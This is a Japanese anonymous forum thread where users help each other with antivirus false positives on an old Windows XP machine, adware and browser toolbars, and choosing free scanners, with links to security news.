まだ断定はできんが誤検知っぽいなぁ…
そうだったらよく聞きもせずに偉そうなこと言ってすまん。
どうもIMEの学習情報やなんかを、日本語に鈍いAVGが誤検出してるように思える。
ここから提出してはどうかな
ttp://www.avg.com/submit-sample

もし英語がダメとかで難しそうならVirustotalの結果のURL貼ってくれないかな。
検知項目ころころ変わってるだろうけど直近2,3とあと念のためIMJPCMNT.EXE, iexplore.exe

いちお慎重になって損することはないからスキャナーは試してみて。

>トレンドマイクロオンラインスキャンも検出しませんでした。
TrendMicroのスキャナーは2種類あるんだが、日本語でかつユーザー登録要らないやつかな？
だとしたら検出性能低い方なんだけど、
高い方(HouseCall)は別の問題があるからどっちもお勧めしない。
オンラインスキャンだったらESETが使いやすいかな
ttp://www.eset.com/us/online-scanner/

誤検知だった場合、報告したならAVGが対応してくれるはず。
それまでの間は警告我慢して、念のためオンライン取引とかは控えた方がいいと思う。
該当フォルダを監視から除外するのは勧めない、
ここら辺はリアルなマルウェアも使うとこなので。
もしかしたらIMEの設定から「学習情報をファイルに保存」等をすべて無効にしたら消えるかも？

最後にXp使い続ける気ならせめて有料総合セキュリティを検討してほしい、
これらはIPSである程度脆弱性狙った攻撃を防げるから(仮想パッチ)。
あと前述の通りIEは避けてちゃんと脆弱性修正されるChromeやFirefox等にすべき。

>>459
Virustotalの結果のURLです。
ttps://www.virustotal.com/ja/file/c8597f92307b432a86fbd2864688841025736d8fcb68386b220ae3a1ecafdfe0/analysis/1407228885/
ttps://www.virustotal.com/ja/file/15dd9e7a2a76315f12308b7fc8d4b747775f21781582c754273a871f52ada0e5/analysis/1407229147/
誤検知だと思いますがここからどう報告するか、どう対処するか分からないものですみません。　　

>>460
ああ、こりゃ誤検知かな。
ttp://www.avg.com/submit-sample
に以下のように書いて。

Choose an appropriate request type: False alarm on a file
Your first name: あなたの名前(ローマ字で)
Your surname: あなたの名字
Your email address: あなたのメアド
URL: 空欄でOK
File for inspection: 検知されたファイルのコピーを、できれば2,3個zipにまとめてage
Details about the problem:
以下の*.*..に実際の番号入れてコピペ。
Every time I launch Internet Explorer, AVG Free *.*..(※あなたのAVGのバージョン番号を入れる) detects those files as Downloader.Agent2.BUZE.
I suspect it is false positive because it seems to be created by legitimate Microsoft Office IME 2007 besides low detection rate on Virustotal.

あとは画像認証入力(2つの単語の間はスペースが必要だと思う)して、SUBMIT QUERY押すだけ。
もしAVGのヒューリスティック設定をいじってる場合、もうちょい書き足す必要あるからまだ提出せずに教えて。


たぶん一両日中にAVGから英文メールが届くけど、よくわかんなきゃ無視してもいい。
Confirmedとか書かれてれば誤検知だったってことで、修正される/されてるはず

ああごめん、誤検知が修正されてなかったり、
メールでさらに情報よこせと言ってる気がする場合はその文面を貼りつけてくれ。

凡ミス修正。こっちで

Every time I launch Internet Explorer on my XP machine, AVG Free *.*..(※あなたのAVGのバージョン番号を入れる) detects those files as Downloader.Agent2.BUZE.
I suspect it is false positive because they seems to be created by legitimate Microsoft Office IME 2007 besides low detection rate on Virustotal.

>>461
ESETで検索中infected Files 19で、内容を調べようとしたらエラーを
起こして調べられなくなった　これはこれでで怖い...ESETの方が信用した方がいいのかわかりません。
例えばa variant of win32/Toolber.Escort.A potentially unwanted applicationと表示しています。
でも、関係なさそうなので今日はこれ以上追及するのは止めときます。
何か進展があれば書き込みますので時間があればアドバイス下さい。

>>464
俺はESETのオンラインスキャ中にエラーでたことはないんで(スキャン開始時ならある)
ちょっとわからんが、どういう状況？

なおToolber.Escort.A自体はPotentially Unwanted Application(PUAまたはPUP)
とあるように、迷惑かもしれないがそれ自体は危険なものじゃない。
とりあえずIEのツールからアドオンの管理>すべてのアドオンの表示 and ダウンロード済みコントロール
and 許可なしに実行、の中でMicrosoft以外の項目
をみてみて、怪しいのあったら右クリから詳細情報に進んで削除。
これがダメなら、またはどれが怪しいかわかんなければAvast Browser Cleanup
のようなツールも使える。ただうっかり必要なもの消しちゃうと困るかもしれないので
消す前にググるなどして慎重に。

>>461
この内容のことをとりあえずやってみました。
返事が戻ってきたら　また、報告します。
465はAVGの返答しだいでやってみます。

>>461
AVGからメールは届きませんが、
この三日間一度もDownloader.Agent2.BUZEを検出しなくなりました。
あれほど頻繁に出ていたものがピタリと止りましたので
修正されたのだと思います。
長い間、アドバイスくれて心からお礼を申し上げます。
有難うございました。また、どこかのスレで出会えるといいなぁ。

>>467
迷惑メールフォルダにもない？
だとしたらメアド入力のとき何かミスったのかもね(俺も一度やったことある)
どういたしまして〜

XP使ってるんですがマルウェアにかかってしまいました。
駆除のやり方とウィルスガードを教えてください。
今のPCは2007年に購入したものですがもう新しいPCを購入したほうがいいでしょうか？
その場合は、どういうウィルス対策がベストでしょうか？

マカフィスキャンで
脅威のウェブサイトにagkn.comというのが出てきたんですけど
全然見当がつかないです。
わかる方いたら教えてください。

>>469
なんというマルウェア？そもそも現状のウイルス対策は？
詳細がわからんと教えることも出来ない
データが飛んでもよいのなら単に購入時点と同じ状態に戻せばいいし

毎月一回セットアップ直後の状態にPCをリストアするんだけど
firefoxのリストアはプロファイルフォルダをコピペして済ましてるんだけど
よくブラウザのヴァージョンが低くてヴィルスに感染という話題を聞くんだけど
このヴィルスというのはプロファイルフォルダにも潜伏しているもん？

>>472
%APPDATA%\Mozilla\Firefox\Profiles にあるプロファイルフォルダは基本的には設定の集まり
アドオン自体の問題はたまにあるみたいだけどそれ以外でウイルスが入り込むことはないよ
メーカー製か自作かわからないけどセットアップ直後の状態って大抵のソフトが古いはずだから更新忘れがないように気をつけてね

>>469
XPはもう処分して新しいPCを購入したほうがいいよ
セキュリティソフトは電気屋さんでそれなりの値段のものを買えばOK
自分で何とかできない人はセキュリティソフトをケチらないほうがいい

>>470
McAfee Security Scan Plusでの検出なら別のソフトでスキャンしましょう

>473
乙
心置きなくリストアできる

>>473
えー、AppData以下はユーザーモードのマルウェアが浸入する第一の場所なのに…
とくにFirefoxの脆弱性がつかれた場合なんかはプロファイルフォルダに仕込まれてもおかしくない
まあ経験上は%APPDATA%より%LOCALAPPDATA%が多いけど、そんなの作者次第だし

変換ミスった
侵入ね

>>475　ありがとうございます
ただのクッキーみたいでした
他のソフトだと特に検出されず問題ないみたいです

助けてくれ
ずっとレジストリ駆除とか色々やっても
pcがやたら重いなーって思ってて、どのサイト開いてもpc重いでしょみたいな広告出てたり、サイト開くたびに有料クリームアップの案内がひらかれたりしてるじょうたいをずっと放置していたんだが

buzzsufingなるものに感染しているのだとやっと気づいた
調べてみると、buzzsufingがいかに有害か改正前したあとに
クリーンアップソフトの案内してるサイトばっかなんだが
俺は一体どうしたら良い?無料ダウンロードって言葉信じていいのか？

専用リムーブツールの案内ばっかなんだが、これが罠だってことはなんとなくわかるんだざ

自己解決した

感染したのはきっと1つじゃないしOS入れなおしたほうが楽だろうなあ

普通にコントロールパネルからアンインストール出来たんだけど、
それだけで安心しちゃまずいもんなの？

それは後から入ってきただけじゃないかと
いろいろ不調だったなら別の要因もあるだろうね

低知能乙

　　
　　
【速報】国内のPOSレジシステムにウイルス感染初確認…顧客のクレカ情報チューチュー [転載禁止]&copy;2ch.net [586999347]
http://fox.2ch.net/test/read.cgi/poverty/1425169072/l50
　　
　　

使用メーカー以外の無料ツールでウイルスチェックを （IPA）
「自分は大丈夫だ」という思い込みを捨て、日頃から用心してほしいとしている。
http://security-t.blog.so-net.ne.jp/2014-01-07
新型マルウェア、54％は対策ソフトで検知できず――NTTグループが分析
http://www.itmedia.co.jp/enterprise/articles/1403/28/news118.html

▼
自己診断に向く 無料のアンチウイルス２つ
【Avira - Free Antivirus】 （*常駐しない設定も可能なスキャナ *手動Updateしましょう）
http://www.gigafree.net/security/antivirus/aviraantivir.html　(使い方：http://i57.tinypic.com/zl7uwn.jpg )
【Emsisoft - Free Emergency Kit】 （*手動Updateしましょう *常駐しないスキャナ *インストール不要タイプ）
http://emsisoft.jp/software/eek/　(使い方：http://i26.tinypic.com/deo8xe.jpg )